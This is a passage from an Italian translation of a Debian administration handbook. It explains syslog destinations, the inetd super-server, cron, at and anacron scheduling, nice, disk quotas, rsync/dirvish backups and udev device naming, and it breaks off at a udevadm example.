Una pipe con nome è un particolare tipo di file che funziona come una pipe tradizionale (la pipe che si fa con il simbolo «|» sulla riga di comando), ma tramite un file. Questo meccanismo ha il vantaggio di essere in grado di collegare due processi indipendenti. Qualunque cosa scritta su una pipe con nome blocca il processo che scrive fino a che un altro processo tenta di leggere i dati scritti. Questo secondo processo legge i dati scritti dal primo, che può quindi riprendere l'esecuzione.

Un file di questo tipo viene creato con il comando mkfifo.

Le varie azioni possibili sono:

- aggiungere il messaggio ad un file (esempio: /var/log/messages);

- inviare il messaggio ad un server syslog remoto (esempio: @log.falcot.com);

- inviare il messaggio ad una pipe con nome esistente (esempio: |/dev/xconsole);

- inviare il messaggio ad uno o più utenti, se sono connessi (esempio: root,rhertzog);

- inviare un messaggio a tutti gli utenti connessi (ad esempio: *);

- scrivere il messaggio in una console di testo (ad esempio: /dev/tty8).

SICUREZZA Inoltro dei log

È una buona idea registrare i log più importanti su una macchina separata (magari dedicata a questo scopo), questo per prevenire ogni possibilità che un intruso elimini le tracce della propria intrusione (a meno che, naturalmente, non comprometta anche questo altro server). Inoltre, in caso di un grave problema (come un crash del kernel), si hanno a disposizione i log su un altro computer, il che aumenta le possibilità di determinare la sequenza di eventi che ha causato il crash.

Per accettare messaggi di log inviati da altre macchine, è necessario configurare rsyslog: in pratica, è sufficiente attivare le voci già pronte all'uso in /etc/rsyslog.conf ($ModLoad imudp e $UDPServerRun 514).

9.6. Il super-server inetd

Inetd (spesso chiamato «Internet super-server») è un server di server. Esegue a richiesta i server usati raramente, in modo che debbano essere eseguiti continuamente.

Il file /etc/inetd.conf elenca questi server con le rispettive porte. Il comando inetd rimane in ascolto, quando rileva una connessione verso una qualsiasi di queste porte, esegue il programma server corrispondente.

DEBIAN POLICY Registrare un server in inetd.conf

I pacchetti spesso vogliono registrare un nuovo server nel file /etc/inetd.conf, ma la Debian Policy vieta a qualsiasi pacchetto di modificare un file di configurazione che non possiede. Per questo motivo è stato creato lo script update-inetd (nel pacchetto omonimo): gestisce il file di configurazione, e gli altri pacchetti possono quindi utilizzarlo per registrare un nuovo server nella configurazione del super-server.

Ogni riga significativa del file /etc/inetd.conf descrive un server attraverso sette campi (separati da spazi):

- Il numero della porta TCP o UDP, o il nome del servizio (che viene associato a un numero di porta standard con le informazioni contenute nel file /etc/services).

- Il tipo di socket: stream per una connessione TCP, dgram per datagrammi UDP.

- Il protocollo: tcp o udp.

- Le opzioni: due valori possibili: wait o nowait, per dire a inetd se deve attendere o meno la fine del processo avviato prima di accettare un'altra connessione. Per le connessioni TCP, facilmente usabili in multiplexing, di solito si può usare nowait. Per i programmi che rispondono su UDP, si dovrebbe utilizzare nowait solo se il server è in grado di gestire diverse connessioni in parallelo. È possibile aggiungere a questo campo un suffisso con un punto, seguito dal numero massimo di connessioni autorizzate al minuto (il limite predefinito è 256).

- Il nome utente dell'utente sotto la cui identità verrà eseguito il server.

- Il percorso completo del programma server da eseguire.

- Gli argomenti: si tratta di un elenco completo degli argomenti del programma, compreso il suo stesso nome (argv[0] in C).

L'esempio seguente illustra i casi più comuni:

Esempio 9.1. Estratto dal file /etc/inetd.conf

talk   dgram  udp wait    nobody.tty /usr/sbin/in.talkd in.talkd

finger stream tcp nowait  nobody     /usr/sbin/tcpd     in.fingerd

ident  stream tcp nowait  nobody     /usr/sbin/identd   identd -i

Il programma tcpd viene frequentemente utilizzato nel file /etc/inetd.conf. Consente di limitare le connessioni in entrata mediante l'applicazione di regole di controllo degli accessi, documentate nella pagina di manuale hosts_access(5), e che sono configurate nei file /etc/hosts.allow e /etc/hosts.deny. Una volta determinato che la connessione è autorizzata, tcpd esegue il server reale (come in.fingerd nel nostro esempio). È bene notare che tcpd si basa sul nome con cui è stato invocato (cioè il primo argomento, argv[0]) per identificare l'effettivo programma da eseguire. Perciò non si dovrebbe iniziare la lista degli argomenti con tcpd ma con il programma a cui fare da wrapper.

COMUNITÀ Wietse Venema

Wietse Venema, la cui esperienza in materia di sicurezza lo ha reso un programmatore conosciuto, è l'autore del programma tcpd. Egli è anche il principale artefice di Postfix, il server di posta elettronica modulare (SMTP, Simple Mail Transfer Protocol), progettato per essere più sicuro e più affidabile di sendmail che ha una lunga storia di vulnerabilità di sicurezza.

ALTERNATIVA Altri comandi inetd

Sebbene Debian installi openbsd-inetd in modo predefinito, le alternative non mancano: possiamo menzionare inetutils-inetd, micro-inetd, rlinetd e xinetd.

Questa ultima incarnazione di un super-server offre possibilità molto interessanti. In particolare, la sua configurazione può essere suddivisa in più file (memorizzati, naturalmente, nella directory /etc/xinetd.d/), cosa che può rendere la vita più facile ad un amministratore.

Ultimo ma non meno importante, è possibile emulare il comportamento di inetd con il meccanismo di socket-activation di systemd (vedere la Sezione 9.1.1, «Il sistema di init systemd»).

9.7. Pianificare attività con cron e atd

cron è il demone responsabile dell'esecuzione di comandi pianificati e ricorrenti (ogni giorno, ogni settimana, ecc.); atd è quello che si occupa dei comandi da eseguire una sola volta, ma in un determinato momento nel futuro.

In un sistema Unix, molte attività sono pianificate per una esecuzione regolare:

- rotazione dei log;

- aggiornamento del database per il programma locate;

- backup;

- script di manutenzione (come ad esempio la pulizia dei file temporanei).

Per impostazione predefinita, tutti gli utenti possono programmare l'esecuzione di attività. Ogni utente ha quindi il proprio crontab in cui può registrare i comandi pianificati. Esso può essere modificato eseguendo crontab -e (il suo contenuto è memorizzato nel file /var/spool/cron/crontab/utente).

SICUREZZA Limitare cron o atd

È possibile limitare l'accesso a cron creando un file con autorizzazioni esplicite (whitelist) in /etc/cron.allow, in cui si indicano i soli utenti autorizzati a pianificare i comandi. Tutti gli altri saranno automaticamente privati di questa funzionalità. Al contrario, per bloccare solo uno o due utenti problematici, si può scrivere il corrispondente nome utente nel file divieti espliciti (blacklist): /etc/cron.deny. Questa stessa caratteristica è disponibile per atd, con i file /etc/at.allow e /etc/at.deny.

L'utente root ha un proprio crontab, ma può anche utilizzare il file /etc/crontab, o scrivere file crontab supplementari nella directory /etc/cron.d. Queste ultime due soluzioni presentano il vantaggio di essere in grado di specificare l'identità dell'utente da usare quando si esegue il comando.

Il pacchetto cron include in modo predefinito alcuni comandi pianificati che eseguono:

- i programmi nella directory /etc/cron.hourly/ una volta ogni ora;

- i programmi in /etc/cron.daily/ una volta al giorno;

- i programmi in /etc/cron.weekly/ una volta a settimana;

- i programmi in /etc/cron.monthly/ una volta al mese.

Molti pacchetti Debian contano su questo servizio: mettendo gli script di manutenzione in queste directory, garantiscono un funzionamento ottimale dei loro servizi.

9.7.1. Formato del file crontab

SUGGERIMENTO Scorciatoie di testo per cron

cron riconosce alcune abbreviazioni che sostituiscono i primi cinque campi in una voce di crontab. Questi corrispondono alle opzioni di pianificazione più classiche:

- @yearly: una volta all'anno (1° gennaio alle 00:00);

- @monthly: una volta al mese (il 1° del mese, alle 00:00);

- @weekly: una volta a settimana (domenica alle 00:00);

- @daily: una volta al giorno (alle 00:00);

- @hourly: una volta all'ora (all'inizio di ogni ora).

CASO SPECIFICO cron e l'ora legale

In Debian, cron tiene in considerazione come meglio può il cambiamento di orario (per l'ora legale, o di fatto per qualsiasi cambiamento significativo nell'ora locale). In questo modo, i comandi che avrebbero dovuto essere eseguiti nel corso di un'ora che non è mai esistita (per esempio, le operazioni pianificate alle 2.30 durante il cambio di primavera in Italia, dato che alle 2.00 l'orologio salta direttamente alle 3.00) vengono eseguiti subito dopo il cambio di orario (e quindi intorno alle 3.00 ora legale). D'altra parte, in autunno, quando i comandi verrebbero eseguiti più volte (2.30 ora legale, poi un'ora dopo, alle 2.30 del mattino, ora standard, in quanto alle 3.00 ora legale l'orologio torna alle 2.00), vengono eseguiti solo una volta.

Attenzione, tuttavia, che se l'ordine in cui i diversi compiti previsti e il ritardo tra le rispettive esecuzioni sono importanti, si deve verificare la compatibilità di questi vincoli con il comportamento di cron; se necessario, si può preparare un piano speciale per quelle due notti problematiche all'anno.

Ogni riga significativa di crontab descrive un comando programmato con i sei (o sette) seguenti campi:

- il valore per il minuto (numero da 0 a 59);

- il valore per l'ora (da 0 a 23);

- il valore per il giorno del mese (da 1 a 31);

- il valore per il mese (da 1 a 12);

- il valore per il giorno della settimana (da 0 a 7, con 1 che corrisponde a lunedì, e domenica che è rappresentata sia da 0 che da 7; è anche possibile utilizzare le prime tre lettere del nome del giorno della settimana in inglese, come Sun, Mon, ecc.);

- il nome utente dell'identità con cui deve essere eseguito il comando (nel file /etc/crontab e nei frammenti situati in /etc/cron.d/, ma non nei file crontab degli utenti);

- il comando da eseguire (quando le condizioni definite dalle prime cinque colonne sono soddisfatte).

Tutti questi dettagli sono documentati nella pagina di manuale crontab(5).

Ogni valore può essere espresso nella forma di un elenco di possibili valori (separati da virgole). La sintassi a-b descrive l'intervallo di tutti i valori tra a e b. La sintassi a-b/c descrive l'intervallo con un incremento c (esempio: 0-10/2 significa 0,2,4,6,8,10). Un asterisco * è un carattere jolly che rappresenta tutti i possibili valori.

Esempio 9.2. Esempio di file crontab

#Format

#min hour day mon dow  command

# Download data every night at 7:25 pm

25  19   *   *   *    $HOME/bin/get.pl

# 8:00 am, on weekdays (Monday through Friday)

00  08   *   *   1-5  $HOME/bin/dosomething

# Restart the IRC proxy after each reboot

@reboot /usr/bin/dircproxy

SUGGERIMENTO Esecuzione di un comando all'avvio del sistema

Per eseguire un comando una sola volta, subito dopo l'avvio del computer, è possibile utilizzare la macro @reboot (un semplice riavvio di cron non innesca un comando pianificato con @reboot). Questa macro sostituisce i primi cinque campi di una voce crontab.

ALTERNATIVA Emulare cron con systemd

E' possibile emulare parte del comportamento di cron con il meccanismo timer di systemd (vedere la Sezione 9.1.1, «Il sistema di init systemd»).

9.7.2. Utilizzo del comando at

Il comando at esegue un comando in un specifico momento nel futuro. Basta specificare come parametri della riga di comando la data e l'ora desiderata, e il comando da eseguire nel suo standard input. Il comando verrà eseguito come se fosse stato inserito nella shell corrente. at si preoccupa anche di mantenere l'ambiente attuale, in modo da riprodurre le stesse condizioni quando esegue il comando. L'ora viene indicata seguendo le solite convenzioni: 16:12 o 4:12 PM rappresentano le 16.12. La data può essere specificata in diversi formati europei ed occidentali, che includono GG.MM.AA (27.07.15 rappresenta quindi il 27 luglio 2015), AAAA-MM-GG (questa stessa data è indicata con 2015-07-27), MM/GG/[CC]AA (cioè, 12/25/15 o 12/25/2015 rappresenterà il 25 dicembre 2015), o semplicemente MMGG[CC]AA (in modo che 122515 o 12252015 rappresenteranno, anch'esse, il 25 dicembre 2015). Senza di essa, il comando verrà eseguito non appena l'orologio raggiunge l'ora indicata (lo stesso giorno, o il successivo se quell'ora è già passata durante lo stesso giorno). Si può anche semplicemente scrivere "today»" (oggi) o "tomorrow" (domani) che si spiegano da soli.

$ at 09:00 27.07.15 <<END

> echo "Don't forget to wish a Happy Birthday to Raphaël!" \

>   | mail lolando@debian.org

> END

warning: commands will be executed using /bin/sh

job 31 at Mon Jul 27 09:00:00 2015

Una sintassi alternativa rimanda l'esecuzione per un determinato periodo: at now + numero periodo. periodo può essere minutes, hours, days o weeks. numero indica semplicemente il numero di dette unità che devono trascorrere prima dell'esecuzione del comando.

Per annullare un'operazione pianificata in cron, è sufficiente eseguire crontab -e ed eliminare la riga corrispondente nel file crontab. Per le attività at, è quasi altrettanto facile: eseguire atrm numero-attività. Il numero dell'attività è indicato dal comando at quando la si pianifica, ma è possibile ritrovarlo con il comando atq, che mostra l'attuale elenco di operazioni pianificate.

9.8. Pianificazione di attività asincrone: anacron

anacron è il demone che completa cron per i computer che non sono sempre accesi. Dal momento che le attività normali sono di solito programmate per la metà della notte, non saranno mai eseguite se il computer è spento in quel momento. Lo scopo di anacron è quello di eseguirle, tenendo conto dei periodi in cui il computer non funziona.

Da notare che anacron molto spesso esegue le attività pochi minuti dopo l'avvio della macchina, il che può rendere il computer meno reattivo. Ecco perché i compiti nel file /etc/anacrontab vengono avviati con il comando nice, che riduce la priorità di esecuzione e limita così il loro impatto sul resto del sistema. Attenzione al fatto che il formato del file non è lo stesso di /etc/crontab; se si hanno esigenze particolari per anacron, consultare la pagina di manuale anacrontab(5).

FONDAMENTALI Priorità e nice

I sistemi Unix (e quindi Linux) sono sistemi multi-tasking e multi-utente. Infatti, più processi possono essere eseguiti in parallelo, ed essere di proprietà di diversi utenti: il kernel controlla l'accesso alle risorse dei diversi processi. Come parte di questo compito, ha un concetto di priorità, che consente di favorire certi processi rispetto ad altri, secondo le necessità. Quando si sa che un processo può essere eseguito a bassa priorità, è possibile indicarlo eseguendolo con nice programma. Il programma avrà quindi una quota minore della CPU, e avrà un minore impatto su altri processi in esecuzione. Naturalmente, se nessun altro processo deve essere eseguito, il programma non verrà artificialmente rallentato.

nice lavora con «livelli di nice»: i livelli positivi (da 1 a 19) diminuiscono progressivamente la priorità, mentre i livelli negativi (da -1 a -20) la aumentano, ma solo root può usare questi livelli negativi. Salvo diversa indicazione (si veda la pagina di manuale nice(1)), nice aumenta il livello corrente di 10.

Se ci si accorge che un compito già in esecuzione avrebbe dovuto essere avviato con nice non è troppo tardi per risolvere il problema: il comando renice modifica la priorità di un processo già in esecuzione, in entrambe le direzioni (ma ridurre il «livello di nice» di un processo è riservato all'utente root).

L'installazione del pacchetto anacron disattiva tramite cron l'esecuzione degli script nelle directory /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/ e /etc/cron.monthly/. Questo evita la loro doppia esecuzione tramite anacron e cron. Il comando cron rimane attivo e continuerà a gestire le altre attività programmate (in particolare quelle pianificate dagli utenti).

9.9. Quote

Il sistema delle quote permette di limitare lo spazio su disco assegnato a un utente o a un gruppo di utenti. Per configurarlo, è necessario disporre di un kernel che lo supporti (compilato con l'opzione CONFIG_QUOTA) — come è nel caso dei kernel di Debian. Il software di gestione delle quote si trova nel pacchetto Debian quota.

Per attivare le quote in un file system, è necessario indicare le opzioni usrquota e grpquota in /etc/fstab per le quote di utenti e gruppi, rispettivamente. Riavviare il computer quindi aggiornerà le quote in assenza di attività del disco (una condizione necessaria per un'adeguata contabilità dello spazio su disco già utilizzato).

Il comando edquota utente (o edquota -g gruppo) consente di modificare i limiti mentre si controlla l'utilizzo attuale dello spazio su disco.

APPROFONDIMENTO Definire le quote con uno script

Il programma setquota può essere utilizzato in uno script per cambiare automaticamente numerose quote. La sua pagina di manuale setquota(8) descrive la sintassi da utilizzare.

Il sistema delle quote consente di impostare quattro limiti:

- due limiti (chiamati «soft» e «hard») si riferiscono al numero di blocchi consumati. Se il file system è stato creato con una dimensione dei blocchi di 1 kibibyte, un blocco contiene 1024 byte di uno stesso file. Blocchi non saturi portano quindi a perdite di spazio su disco. Una quota di 100 blocchi, che permette teoricamente la memorizzazione di 102.400 byte, sarà, comunque, satura con soli 100 file di 500 byte ciascuno, che rappresentano solo 50.000 byte in totale.

- due limiti (soft e hard) si riferiscono al numero di inode utilizzati. Ogni file occupa almeno un inode per memorizzare le sue informazioni (permessi, proprietario, data e ora dell'ultimo accesso, ecc.). È quindi un limite al numero di file dell'utente.

Un limite «soft» può essere temporaneamente superato, l'utente sarà semplicemente avvertito che sta superando la quota dal comando warnquota, che di solito è invocato da cron. Un limite «hard» non può mai essere superato: il sistema rifiuterà qualsiasi operazione che causerebbe il superamento della quota.

VOCABOLARIO Blocchi e inode

Il file system divide il disco rigido in blocchi: piccole aree contigue. La dimensione di questi blocchi è definita durante la creazione del file system, e varia generalmente tra 1 e 8 kibibyte.

Un blocco può essere utilizzato per memorizzare i dati reali di un file, o per i meta-dati utilizzati dal file system. Tra questi metadati, in particolare ci sono gli inode. Un inode utilizza un blocco sul disco rigido (ma questo blocco non è preso in considerazione per la quota dei blocchi, ma solo per la quota degli inode), e contiene sia le informazioni sul file a cui corrisponde (nome, proprietario, permessi, ecc.) sia i puntatori ai blocchi di dati che vengono effettivamente utilizzati. Per i file molto grandi che occupano un numero di blocchi più alto di quella a cui è possibile fare riferimento in un singolo inode, esiste un sistema di blocchi indiretto; l'inode fa riferimento ad un elenco di blocchi che non contengono direttamente i dati, ma un altro elenco di blocchi.

Con il comando edquota -t, è possibile definire un «periodo di grazia» massimo autorizzato in cui un limite soft può essere superato. Dopo questo periodo, il limite soft verrà trattato come un limite rigido («hard»), e l'utente dovrà ridurre l'utilizzo dello spazio su disco entro questo limite per poter scrivere altro sul disco rigido.

APPROFONDIMENTO Impostazione di una quota predefinita per i nuovi utenti

Per configurare automaticamente una quota per i nuovi utenti, è necessario configurare un modello di utente (con edquota o setquota) ed indicare il loro nome utente nella variabile QUOTAUSER del file /etc/adduser.conf. Questa configurazione della quota verrà applicata automaticamente ad ogni nuovo utente creato con il comando adduser.

9.10. Backup

Fare copie di backup è uno dei compiti principali di ogni amministratore, ma rappresenta un argomento complesso, che coinvolge potenti strumenti che sono spesso difficili da padroneggiare.

Esistono molti programmi, come amanda, bacula, BackupPC. Sono sistemi client/server con molte opzioni, la cui configurazione è piuttosto difficile. Alcuni di essi forniscono interfacce web facili da usare per mitigare il problema. Debian tuttavia contiene decine di altri software per i backup che coprono tutti i casi d'uso, come si può facilmente confermare con apt-cache search backup.

Invece di descriverne in dettaglio alcuni, questa sezione esporrà i pensieri degli amministratori della Falcot Corp quando definirono la loro strategia di backup.

Nella Falcot Corp, i backup hanno due obiettivi: recuperare i file erroneamente cancellati e ripristinare rapidamente qualsiasi computer (server o desktop), il cui disco rigido è venuto meno.

9.10.1. Backup con rsync

Dato che i backup su nastro sono stati ritenuti troppo lenti e costosi, il backup dei dati viene fatto su hard disk su un server dedicato, in cui l'uso di RAID software (vedere la Sezione 12.1.1, «RAID software») proteggerà i dati da guasti del disco rigido. I backup dei computer desktop non vengono fatti singolarmente, ma gli utenti sono avvisati che verrà eseguito il backup del loro account personale sul file server del proprio dipartimento. Il comando rsync (dal pacchetto omonimo) viene utilizzato quotidianamente per eseguire il backup di questi server diversi.

FONDAMENTALI Il collegamento fisico, un secondo nome per il file

Un collegamento fisico, al contrario di un collegamento simbolico, non può essere distinto dal file collegato. La creazione di un collegamento fisico essenzialmente equivale a dare ad un file esistente un secondo nome. Ecco perché la rimozione di un collegamento fisico rimuove solo uno dei nomi associati al file. Finché un altro nome è ancora assegnato al file, i dati in esso rimangono presenti sul file system. È interessante notare che, a differenza di una copia, il collegamento fisico non occupa spazio aggiuntivo sul disco rigido.

Un collegamento fisico viene creato con il comando ln obiettivo collegamento. Il file collegamento è quindi un nuovo nome per il file obiettivo. I collegamenti fisici possono essere creati solo sullo stesso file system, mentre i collegamenti simbolici non sono soggetti a questa limitazione.

Lo spazio disponibile sul disco fisso vieta l'attuazione di un backup completo ogni giorno. Pertanto, il comando rsync è preceduto da una duplicazione del contenuto del backup precedente con collegamenti fisici, il che impedisce l'utilizzo eccessivo di spazio su disco. Il processo rsync quindi sostituisce solo i file che sono stati modificati dall'ultimo backup. Con questo meccanismo un gran numero di backup può essere mantenuto in una piccola quantità di spazio. Dal momento che tutti i backup sono immediatamente disponibili e accessibili (per esempio, in diverse directory di una determinata condivisione della rete), è possibile fare rapidamente paragoni tra due date.

Questo meccanismo di backup viene facilmente implementato con il programma dirvish. Utilizza uno spazio di archiviazione di backup («banca» nel suo vocabolario), in cui colloca copie con l'indicazione della data di insiemi di file di backup (questi insiemi sono chiamati «casseforti» («vault») nella documentazione di dirvish).

La configurazione principale è nel file /etc/dirvish/master.conf. Esso definisce la posizione dello spazio di archiviazione di backup, l'elenco delle «casseforti» da gestire, ed i valori predefiniti per la scadenza dei backup. Il resto della configurazione si trova nel file banca/cassaforte/dirvish/default.conf e contiene una configurazione specifica per il corrispondente insieme di file.

Esempio 9.3. Il file /etc/dirvish/master.conf

bank:

/backup

exclude:

lost+found/

core

*~

Runall:

root    22:00

expire-default: +15 days

expire-rule:

#   MIN HR    DOM MON       DOW  STRFTIME_FMT

*   *     *   *         1    +3 months

*   *     1-7 *         1    +1 year

*   *     1-7 1,4,7,10  1

L'impostazione bank indica la directory in cui sono memorizzati i backup. L'impostazione exclude consente di indicare i file (o i tipi di file) da escludere dal backup. Runall è un elenco di insiemi di file di cui fare il backup, ciascuno con una marcatura temporale che permette di assegnare la data corretta alla copia nel caso in cui il backup non venga avviato precisamente al tempo stabilito. Si deve indicare una data appena precedente all'effettiva ora di esecuzione (che in Debian sono in modo predefinito le 22.04, secondo il contenuto di /etc/cron.d/dirvish). Da ultimo, le impostazioni expire-default e expire-rule definiscono la politica di scadenza per i backup. Nell'esempio precedente vengono conservati per sempre i backup che sono generati la prima domenica di ogni trimestre, quelli della prima domenica di ogni mese sono cancellati dopo un anno e quelli delle altre domeniche dopo 3 mesi. Gli altri backup giornalieri sono conservati per 15 giorni. L'ordine in cui sono scritte le regole non ha importanza, Dirvish usa l'ultima regola che fa corrispondenza, o expire-default se nessuna altra regola expire-rule corrisponde.

IN PRATICA Scadenza programmata

Le regole di scadenza non vengono utilizzate da dirvish-expire per fare il suo lavoro. In realtà, le regole di scadenza vengono applicate quando si crea una nuova copia di backup per definire la data di scadenza associata a quella copia. dirvish-expire analizza semplicemente le copie memorizzate ed elimina quelle per le quali la data di scadenza è trascorsa.

Esempio 9.4. Il file /backup/root/dirvish/default.conf

client: rivendell.falcot.com

tree: /

xdev: 1

index: gzip

image-default: %Y%m%d

exclude:

/var/cache/apt/archives/*.deb

/var/cache/man/**

/tmp/**

/var/tmp/**

*.bak

L'esempio precedente specifica l'insieme di file di cui eseguire il backup: questi sono i file sulla macchina rivendell.falcot.com (per il backup locale dei dati, è sufficiente specificare il nome della macchina locale come indicato da hostname), in particolare quelli nell'albero radice (tree: /), eccetto quelli elencati in exclude. Il backup sarà limitato ai contenuti di un file system (xdev: 1). Non include i file da altri punti di mount. Sarà generato un indice dei file salvati (index: gzip), e il nome dell'immagine sarà creato in base alla data corrente (image-default: %Y%m%d).

Ci sono molte opzioni disponibili, tutte documentate nella pagina di manuale dirvish.conf(5). Una volta che questi file di configurazione sono impostati, è necessario inizializzare ogni insieme di file con il comando dirvish --vault cassaforte --init. Da quel momento in poi l'invocazione quotidiana di dirvish-runall creerà automaticamente una nuova copia di backup subito dopo aver cancellato quelle scadute.

IN PRATICA Backup remoto tramite SSH

Quando dirvish ha bisogno di salvare i dati in un computer remoto, utilizzerà ssh per connettersi ed avvierà rsync come server. Questo richiede che l'utente root sia in grado di connettersi automaticamente. L'utilizzo di una chiave di autenticazione SSH consente appunto questo (vedere la Sezione 9.2.1.1, «Autenticazione basata su chiave»).

9.10.2. Ripristino di macchine senza backup

I computer desktop, di cui non esiste il backup, saranno facile da reinstallare da DVD-ROM personalizzati preparati con Simple-CDD (vedere la Sezione 12.3.3, «Simple-CDD: la soluzione completa»). Dato che questo fa un'installazione da zero, viene persa ogni personalizzazione eventualmente fatta dopo l'installazione iniziale. Ciò non è un problema, dato che i sistemi sono tutti agganciati ad una directory LDAP centralizzata per gli account e la maggior parte delle applicazioni desktop è preconfigurata grazie a dconf (per ulteriori informazioni su questo vedere la Sezione 13.3.1, «GNOME»).

Gli amministratori della Falcot Corp sono consapevoli dei limiti della loro politica di backup. Dal momento che non possono proteggere il server di backup così efficacemente come un nastro in una cassetta di sicurezza a prova di fuoco, l'hanno installato in una stanza separata in modo che un disastro come un incendio nella stanza del server non distruggerà i backup insieme a tutto il resto. Inoltre, ne fanno un backup incrementale su DVD-ROM, una volta a settimana: vengono inclusi solo quei file che sono stati modificati dopo l'ultimo backup.

APPROFONDIMENTO Backup dei servizi SQL e LDAP

Per molti servizi (ad esempio i database SQL o LDAP) non è possibile fare il backup semplicemente copiando i loro file (a meno che non siano interrotti correttamente durante la creazione dei backup, il che è spesso problematico, in quanto sono destinati ad essere disponibili in qualsiasi momento). Perciò, è necessario utilizzare un meccanismo di «esportazione» per creare un «dump dei dati» di cui si può tranquillamente fare il backup. Si tratta spesso di file di grandi dimensioni, ma si comprimono bene. Per ridurre lo spazio di archiviazione necessario, è consigliato salvare un file di testo completo a settimana, e un diff ogni giorno, creato con un comando del tipo diff file_di_ieri file_di_oggi. Il programma xdelta produce differenze incrementali da dump binari.

CULTURA TAR, lo standard per i backup su nastro

Storicamente, il mezzo più semplice per fare un backup in Unix era quello di memorizzare un archivio TAR su un nastro. Il comando tar ha preso il suo nome da «Tape ARchive» (archivio su nastro).

9.11. Collegamento a caldo: hotplug

9.11.1. Premessa

Il sottosistema hotplug del kernel gestisce dinamicamente l'aggiunta e la rimozione dei dispositivi, caricando i driver appropriati e creando i corrispondenti file di device (con l'aiuto di udevd). Con l'hardware moderno e la virtualizzazione, quasi tutto può essere inserito a caldo: dalle comuni periferiche USB/PCM/IEEE 1394 agli hard disk SATA, ma anche la CPU e la memoria.

Il kernel ha un database che associa ogni ID di dispositivo con il driver richiesto. Questo database viene utilizzato durante l'avvio per caricare tutti i driver per le periferiche rilevate sui diversi bus, ma anche quando viene aggiunto un dispositivo supplementare collegato a caldo. Una volta che il dispositivo è pronto all'uso, viene inviato un messaggio a udevd che quindi sarà in grado di creare la voce corrispondente in /dev/.

9.11.2. Il problema dei nomi

Prima della comparsa dei collegamenti a caldo, era facile assegnare un nome fisso ad un dispositivo. Esso era basato semplicemente sulla posizione dei dispositivi sui loro rispettivi bus. Ma questo non è possibile quando tali dispositivi possono andare e venire sul bus. Il caso tipico è l'uso di una macchina fotografica digitale e una chiave USB che appaiono entrambe al computer come unità disco. La prima ad essere collegata potrebbe essere /dev/sdb e la seconda /dev/sdc (con /dev/sda che rappresenta il disco rigido del computer). Il nome del dispositivo non è fisso, ma dipende dall'ordine in cui sono collegati i dispositivi.

Inoltre, sempre più driver usano valori dinamici per i numeri maggiori/minori di device, il che rende impossibile avere voci statiche per i dispositivi indicati, in quanto tali caratteristiche essenziali possono variare dopo un riavvio.

udev è stato creato proprio per risolvere questo problema.

9.11.3. Come funziona udev

Quando il kernel notifica a udev la comparsa di un nuovo dispositivo, quest'ultimo raccoglie diverse informazioni sul dispositivo dato consultando le voci corrispondenti in /sys/, specialmente quelle che lo identificano in modo univoco (indirizzo MAC di una scheda di rete, numero di serie per alcuni dispositivi USB, ecc.).

Armato di tutte queste informazioni, udev consulta allora tutte le regole contenute in /etc/udev/rules.d/ e /lib/udev/rules.d/. In base a ciò decide quale nome dare al device, quali collegamenti simbolici creare (per avere nomi alternativi), e quali comandi eseguire. Tutti questi file vengono consultati e tutte le regole vengono valutate in sequenza (tranne quando un file utilizza direttive «GOTO»). Così, vi possono essere diverse regole che corrispondono ad un dato evento.

La sintassi dei file delle regole è molto semplice: ogni riga contiene i criteri di selezione e le assegnazioni delle variabili. I primi sono utilizzati per selezionare gli eventi per i quali esiste una necessità di reagire, mentre le seconde definiscono l'azione da eseguire. Sono tutti semplicemente separati da virgole e l'operatore distingue implicitamente tra un criterio di selezione (con operatori di confronto, come == o !=) e una direttiva di assegnazione (con operatori come =, += o :=).

Gli operatori di confronto vengono utilizzati per le seguenti variabili:

- KERNEL: il nome che il kernel assegna al device;

- ACTION: l'azione corrispondente all'evento («add» quando un dispositivo è stato aggiunto, «remove» quando è stato rimosso);

- DEVPATH: il percorso della voce in /sys/ per il dispositivo;

- SUBSYSTEM: il sottosistema del kernel che ha generato la richiesta (ce ne sono molti, ma alcuni esempi sono «usb», «ide», «net», «firmware», ecc.);

- ATTR{attributo}: il contenuto del file attributo nella directory /sys/$devpath/ del dispositivo. Qui è possibile trovare l'indirizzo MAC e altri identificatori specifici dei bus;

- KERNELS, SUBSYSTEMS e ATTRS{attributi} sono variazioni che cercheranno di soddisfare le diverse opzioni su uno dei dispositivi progenitori del dispositivo di corrente;

- PROGRAM: delega il test al programma indicato (true se restituisce 0, false in caso contrario). Il contenuto dello standard output del programma è memorizzato in modo da poter essere riutilizzato dal test RESULT;

- RESULT: esegue test sullo standard output memorizzato durante l'ultima chiamata a PROGRAM.

Gli operandi di destra possono utilizzare modelli di espressioni per trovare corrispondere a diversi valori allo stesso tempo. Ad esempio, * corrisponde a qualsiasi stringa (anche vuota), ? corrisponde a qualsiasi carattere e [] corrisponde all'insieme di caratteri elencati tra le parentesi quadre (o l'opposto se il primo carattere è un punto esclamativo, e gli intervalli di caratteri contigui sono indicati come a-z).

Per quanto riguarda gli operatori di assegnazione, = assegna un valore (e sostituisce il valore corrente); nel caso di un elenco, questo viene svuotato e contiene solo il valore assegnato. := fa la stessa cosa, ma impedisce successive modifiche alla stessa variabile. Per quanto riguarda +=, esso aggiunge un elemento a un elenco. Le seguenti variabili possono essere modificate:

- NAME: il nome del file di device da creare in /dev/. Vale solo la prima assegnazione, le altre vengono ignorate;

- SYMLINK: l'elenco dei collegamenti simbolici che puntano allo stesso device;

- OWNER, GROUP e MODE definiscono l'utente e il gruppo che possiedono il device, nonché i permessi associati;

- RUN: l'elenco dei programmi da eseguire in risposta a questo evento.

I valori assegnati a queste variabili possono utilizzare diverse sostituzioni:

- $kernel o %k: equivalente a KERNEL;

- $number o %n: il numero d'ordine del dispositivo, per esempio, per sda3 sarebbe «3»;

- $devpath o %p: equivalente a DEVPATH;

- $attr{attributo} o %s{attributo}: equivalente a ATTRS {attributo};

- $major o %M: il numero kernel maggiore del device;

- $minor o %m: il numero kernel minore del device;

- $result o %c: la stringa prodotta in output dell'ultimo programma invocato da PROGRAM;

- e, infine, %% e $$ per, rispettivamente, il segno di percentuale e di dollaro.

Gli elenchi precedenti non sono completi (comprendono solo i parametri più importanti), ma la pagina di manuale udev(7) dovrebbe essere completa.

9.11.4. Un esempio concreto

Consideriamo il caso di una semplice penna USB e tentiamo di assegnarle un nome fisso. In primo luogo, è necessario individuare gli elementi che la identificano in modo univoco. Per far questo, collegarla ed eseguire udevadm info -a -n /dev/sdc (sostituendo /dev/sdc con il nome effettivo assegnato alla chiave).

# udevadm info -a -n /dev/sdc

[...]

